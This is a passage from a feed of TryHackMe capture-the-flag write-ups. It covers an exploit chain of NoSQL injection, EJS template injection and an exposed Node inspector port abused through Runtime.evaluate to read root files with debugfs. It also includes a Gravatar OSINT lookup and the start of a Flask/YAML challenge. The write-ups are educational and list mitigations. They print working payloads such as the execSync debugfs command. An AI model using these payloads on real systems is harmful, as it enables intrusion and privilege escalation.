    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;method&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Runtime.evaluate&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;params&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;expression&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;global.process.mainModule.require(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;child_process&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).execSync(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;debugfs -R &lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cat /root/root.txt&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; /dev/nvme0n1p1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).toString()&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:1,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;string&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;debugfs 1.47.0 (5-Feb-2023)&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;nTHM{[REDACTED]}&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;}}}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;debugfs&lt;/code&gt; reads the ext4 filesystem directly off the raw partition,&lt;br&gt;
completely bypassing normal file permission checks (&lt;code&gt;root.txt&lt;/code&gt; is&lt;br&gt;
&lt;code&gt;-rw-r-----&lt;/code&gt; root-owned) - membership in the &lt;code&gt;disk&lt;/code&gt; group and raw&lt;br&gt;
&lt;code&gt;/dev/nvme0n1p1&lt;/code&gt; access is effectively root-equivalent file read, even&lt;br&gt;
without ever obtaining a root shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;NoSQL injection - auth bypass&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/login&lt;/code&gt; builds a Mongo query directly from unsanitized user input; bracket-notation form fields (&lt;code&gt;username[$ne]=&lt;/code&gt;) parse into a &lt;code&gt;$ne&lt;/code&gt; operator object via &lt;code&gt;body-parser&lt;/code&gt;'s extended mode, letting any request authenticate as staff with no valid credentials.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Server-side template injection (SSTI)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/staff/preview&lt;/code&gt; renders the user-supplied &lt;code&gt;template&lt;/code&gt; field as live EJS with no sandboxing, giving direct RCE via &lt;code&gt;global.process.mainModule.require(...)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Exposed Node inspector debug port&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pipelinesvc&lt;/code&gt;'s &lt;code&gt;processor.js&lt;/code&gt; runs with &lt;code&gt;--inspect=127.0.0.1:9229&lt;/code&gt; in what looks like a production environment, exposing the full Chrome DevTools Protocol (arbitrary JS execution) to any local user who can reach loopback.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Overprivileged group membership&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pipelinesvc&lt;/code&gt; belongs to the &lt;code&gt;disk&lt;/code&gt; group, granting raw read/write access to block devices - equivalent to bypassing all filesystem permission checks on that disk.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NoSQL injection on /login (username[$ne]=, password[$ne]=)
        |
        v
Staff session with no valid credentials
        |
        v
/staff/preview - unsandboxed EJS template render (SSTI)
        |
        v
RCE as poolside -&amp;gt; reverse shell -&amp;gt; user.txt
        |
        v
ps aux reveals pipelinesvc's node --inspect=127.0.0.1:9229 processor.js
        |
        v
Manual WebSocket handshake + Runtime.evaluate (Chrome DevTools Protocol)
        |
        v
Arbitrary JS execution as pipelinesvc (member of disk group)
        |
        v
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1  -&amp;gt;  root.txt read directly
        |
        v
(SUID bash copy also created, but useless here since it loses pipelinesvc's group membership)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never build database queries directly from unsanitized request bodies.
Explicitly validate/whitelist input types (e.g. reject non-string
&lt;code&gt;username&lt;/code&gt;/&lt;code&gt;password&lt;/code&gt; values) or use a query-building layer that
doesn't allow raw operator injection like Mongoose schemas with strict
typing, or a library such as &lt;code&gt;mongo-sanitize&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Never render user-supplied strings as live templates. If customizable
templates are a real product requirement, use a sandboxed templating
approach (restricted variable substitution only, no arbitrary
expression evaluation) rather than passing input straight into
&lt;code&gt;ejs.render()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Never run &lt;code&gt;--inspect&lt;/code&gt;/&lt;code&gt;--inspect-brk&lt;/code&gt; in production, even bound to
loopback - any local process (including a compromised low-privilege
web app account) can reach it and gain full code execution in the
context of whatever account started that Node process.&lt;/li&gt;
&lt;li&gt;Apply least privilege to service accounts. &lt;code&gt;disk&lt;/code&gt; group membership is
effectively root-equivalent file access and should never be granted to
an application service account unless absolutely required, and even
then should be scoped far more narrowly (e.g. a specific loop device,
not the boot disk).&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Overheard at Breakfast</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 04:42:31 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-overheard-at-breakfast-1laf</link>
      <guid>https://dev.to/exploitnotes/tryhackme-overheard-at-breakfast-1laf</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;A single artifact - a zipped screenshot of a Discord-style DM conversation&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;is the entire challenge. Two "Byte Lotus Hotel" guests, &lt;code&gt;Ponzi&lt;/code&gt; and
&lt;code&gt;Lambo!&lt;/code&gt;, chat about social media; &lt;code&gt;Lambo!&lt;/code&gt; name-drops a defunct
profile-linking tool ("started with a G") and hands over an email address
as their "best way of communication." Hashing that email and querying it
against Gravatar's public API returns a cached profile - never fully
deleted - whose bio field contains a base64-encoded flag planted for
whoever tracks it down.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The artifact
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;unzip overheard-at-breakfast-*.zip
Archive:  overheard-at-breakfast-*.zip
  inflating: conversation.png

file conversation.png
conversation.png: PNG image data, 1175 x 781, 8-bit/color RGBA, non-interlaced
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just one PNG inside the zip. No accompanying text, hints, or extra files&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;whatever's needed is either in the image's metadata, hidden in the
pixels, or visible on screen.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  2. Ruling out metadata and steganography
&lt;/h2&gt;

&lt;p&gt;Standard checks first, all of which came back clean or as false leads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;exiftool conversation.png
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Only standard PNG chunk info &lt;span class="o"&gt;(&lt;/span&gt;IHDR, sRGB, gAMA, pHYs&lt;span class="o"&gt;)&lt;/span&gt; - nothing hidden
&lt;span class="go"&gt;
binwalk conversation.png
0    0x0    PNG image, 1175 x 781, 8-bit/color RGBA, non-interlaced
91   0x5B   Zlib compressed data, compressed
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;This is just the PNG&lt;span class="s1"&gt;'s own internal IDAT chunk being correctly
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;identified - not a second file appended after IEND.
&lt;/span&gt;&lt;span class="go"&gt;
steghide extract -sf conversation.png
steghide: the file format of the file "conversation.png" is not supported.

stegseek conversation.png /usr/share/wordlists/rockyou.txt
[!] error: the file format of the file "conversation.png" is not supported.
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;steghide/stegseek only support JPEG/BMP/WAV/AU - PNG was never a
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;candidate &lt;span class="k"&gt;for &lt;/span&gt;these tools &lt;span class="k"&gt;in &lt;/span&gt;the first place.
&lt;span class="go"&gt;
zsteg conversation.png
b4,rgb,msb,xy .. text: "UWuUWuUWuUWuUWuUWuUWuU..."
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Repeating 4-byte cycle - a bitplane artifact from ordinary image
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;content aliasing into printable bytes, not a real hidden message.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of the classic image-forensics angles panned out. Given the file is&lt;br&gt;
literally named &lt;code&gt;conversation.png&lt;/code&gt;, the next logical step was to stop&lt;br&gt;
treating it as a puzzle to crack open and just read it.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Reading the screenshot
&lt;/h2&gt;

&lt;p&gt;Opening the image directly reveals a two-person Discord DM between&lt;br&gt;
&lt;code&gt;Ponzi - Influencer&lt;/code&gt; and &lt;code&gt;Lambo!&lt;/code&gt;, both wearing a &lt;code&gt;L3AK&lt;/code&gt; server badge, set&lt;br&gt;
at a "Byte Lotus" resort. The key exchange:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lambo!&lt;/strong&gt;: Yeah nowadays I don't really use much social media...&lt;br&gt;
Though I'm still out there, I used to use this free tool that let me&lt;br&gt;
upload my profile and link other media accounts, was neat, until I&lt;br&gt;
wiped everything. Started with a &lt;strong&gt;G&lt;/strong&gt; if I remember correctly.&lt;br&gt;
But if anything this is my best way of communication:&lt;br&gt;
&lt;code&gt;lambobytelotushotel@gmail.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's a direct pointer to &lt;strong&gt;Gravatar&lt;/strong&gt; - a free service (starts with G)&lt;br&gt;
built around uploading a profile photo and linking social accounts, keyed&lt;br&gt;
entirely off a hashed email address.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Hashing the email and querying Gravatar
&lt;/h2&gt;

&lt;p&gt;Gravatar profiles are addressable by the MD5 (legacy API) or SHA256&lt;br&gt;
(current v3 API) hash of a lowercased, trimmed email address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;lambobytelotushotel@gmail.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;MD5   :&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SHA256:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;MD5&lt;/span&gt;   &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;d4a5fc5d3128890778667e24617d7cc0&lt;/span&gt;
&lt;span class="py"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Queried both API generations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.gravatar.com/d4a5fc5d3128890778667e24617d7cc0.json | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="c"&gt;# (empty - legacy endpoint returned nothing for this hash)&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.gravatar.com/v3/profiles/d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931 | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"display_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Lambo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"profile_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://gravatar.com/cheerfullysongf28e3c3716"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"avatar_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://1.gravatar.com/avatar/d43faafe9..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"location"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Byte Lotus Hotel"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"pronunciation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Lam-boh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Despite "wiping everything" per the chat log, the v3 API still returned a&lt;br&gt;
full cached profile - &lt;code&gt;display_name: Lambo&lt;/code&gt;, &lt;code&gt;location: Byte Lotus Hotel&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;confirming this is the right target and that Gravatar profile data
persists (or is cached) even after a user believes it's gone.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  5. Decoding the flag
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;description&lt;/code&gt; field isn't an actual bio - it's a base64 string left&lt;br&gt;
there deliberately as the prize:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
THM&lt;span class="o"&gt;{[&lt;/span&gt;REDACTED]&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Techniques used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Screenshot/artifact review&lt;/td&gt;
&lt;td&gt;The flag path only became clear after actually reading the conversation text rather than continuing to run steganography tooling against the wrong file format.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;OSINT pivot from a leaked email&lt;/td&gt;
&lt;td&gt;A casually-shared email address in a chat log was the pivot point for the entire challenge.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Gravatar hash-based profile lookup&lt;/td&gt;
&lt;td&gt;Gravatar profiles are addressable purely from a hash of an email address - no authentication or account access needed to view public profile data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;"Deleted" data persistence&lt;/td&gt;
&lt;td&gt;The target believed they'd wiped their Gravatar profile; the API still served cached/persisted data, including a message clearly left for someone doing exactly this lookup.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zipped PNG (conversation.png) - a "Byte Lotus Hotel" Discord DM screenshot
        │
        ▼
Lambo! mentions a defunct "G" profile-linking tool + shares an email
        │
        ▼
Hash email (MD5 / SHA256)
        │
        ▼
Query Gravatar API (api.gravatar.com/v3/profiles/&amp;lt;sha256&amp;gt;)
        │
        ▼
Cached profile returned despite "wiping everything"
        │
        ▼
description field → base64 → flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Takeaways / lessons (from a defensive OSINT-awareness angle)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Email addresses shared casually in chat are trivially pivotable to
public profile services like Gravatar, which are keyed purely off an
email hash - no breach or account compromise required.&lt;/li&gt;
&lt;li&gt;"Deleting" a profile on a linked service doesn't always mean the data
is gone from every cache or API response; assume public profile data
set at any point may resurface.&lt;/li&gt;
&lt;li&gt;If reusing the same email across services, consider that hash-based
lookups (Gravatar being the most common example) let anyone correlate
an email to whatever profile data was ever associated with it.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Beach Bar Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 04:13:16 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-beach-bar-writeup-2i5g</link>
      <guid>https://dev.to/exploitnotes/tryhackme-beach-bar-writeup-2i5g</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Beach Bar is a Flask-based "DJ booth" web app for a beach bar jukebox.&lt;br&gt;
Default demo credentials (&lt;code&gt;dj&lt;/code&gt;/&lt;code&gt;dj&lt;/code&gt;) left enabled in an HTML comment get you&lt;br&gt;
into the dashboard, which exposes a YAML playlist export/import feature.&lt;br&gt;
The import endpoint calls &lt;code&gt;yaml.load()&lt;/code&gt; with the full (unsafe) &lt;code&gt;Loader&lt;/code&gt;&lt;br&gt;
instead of &lt;code&gt;safe_load&lt;/code&gt;, which allows arbitrary Python object construction —&lt;br&gt;
and from there, arbitrary command execution via &lt;code&gt;os.system&lt;/code&gt;. That gets a&lt;br&gt;
reverse shell as &lt;code&gt;bartender&lt;/code&gt;. A leftover &lt;code&gt;--stream-pass&lt;/code&gt; argument visible in&lt;br&gt;
the process list turns out to be a reused root password, giving a clean&lt;br&gt;
path to full compromise via &lt;code&gt;su root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Root flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;span class="go"&gt;PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;80/tcp open  http    Gunicorn
| http-title: "Beach Bar // Sign in"
|_Requested resource was /login
|_http-server-header: gunicorn
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Two open ports: SSH and an HTTP app fronted by Gunicorn, redirecting to&lt;br&gt;
&lt;code&gt;/login&lt;/code&gt;. Gunicorn + a &lt;code&gt;/login&lt;/code&gt; redirect + no other stack hints yet — this&lt;br&gt;
smelled like Flask from the start, confirmed later by the session cookie.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Initial access — default creds in an HTML comment
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;$ curl -L http://&lt;span class="nt"&gt;&amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;
...
&lt;span class="c"&gt;&amp;lt;!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
--&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
